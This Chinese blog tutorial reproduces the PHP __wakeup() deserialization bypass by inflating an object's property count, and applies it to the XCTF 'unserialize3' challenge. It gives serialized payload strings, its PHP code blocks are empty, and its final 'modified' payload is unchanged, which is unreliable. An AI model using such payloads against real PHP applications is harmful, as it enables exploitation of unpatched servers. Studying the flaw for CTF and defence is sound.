3.序列化漏洞复现
__wakeup()失效漏洞原理和复现
__wakeup()函数说明在2.序列化漏洞之魔法方法
漏洞影响
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理
序列化后的字符串对象属性个数的值大于真实个数的属性就会__wakeup
失效
比如
下面这个没有修改的__wakeup
正常执行
1 | O:4:"Site":2:{s:3:"url";s:3:"aaa";s:6:"twourl";s:3:"bbb";} |
下面我顺便修改一个长度什么都可以改成1000
就会__wakeup
失效
1 | O:4:"Site":1000:{s:3:"url";s:3:"aaa";s:6:"twourl";s:3:"bbb";} |
实战
代码
1 |
|
输出的结果
输出的是
1 | O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc |
然后进行反序列化
下面是正常的反序列化
上面的序列化的字符
1 | O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc |
全部代码
1 |
|
结果
字符串是
1 | bbbbobject(Site)#2 (1) { ["url"]=> string(3) "aaa" } cccccccc |
修改里面属性个数的值大于真实个数
修改前
1 | O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc |
修改后
1 | O:4:"Site":100:{s:3:"url";s:4:"aaaa";}cccc |
下面就用修改后的来反序列化
全部代码
1 |
|
结果可以看见已经没有了__wakeup()
ctf例题”unserialize3”
地址https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
1 | class xctf{ |
1 |
|
结果
1 | O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
我们修改里面属性个数的值大于真实个数就可以了
修改后
1 | O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ZSSのW啥都学!
评论